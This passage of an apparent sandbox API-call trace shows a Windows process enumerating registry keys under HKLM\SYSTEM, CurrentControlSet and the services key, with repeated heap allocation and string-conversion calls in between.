lpName="SECURITY") returned 0x0 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.956] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.956] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0238.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.957] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0238.957] RegCloseKey (hKey=0x80000002) returned 0x0 [0238.957] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0238.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0238.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0238.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.957] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0238.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0238.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0238.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.958] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.958] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.958] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.958] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.959] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.959] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.959] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0238.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.959] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0238.960] RegCloseKey (hKey=0x150) returned 0x0 [0238.960] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0238.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0238.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.960] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0238.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0238.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.960] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0238.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0238.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0238.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.960] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.961] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.961] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0238.961] RegCloseKey (hKey=0x14c) returned 0x0 [0238.961] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.961] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0238.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.962] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.962] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0238.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", 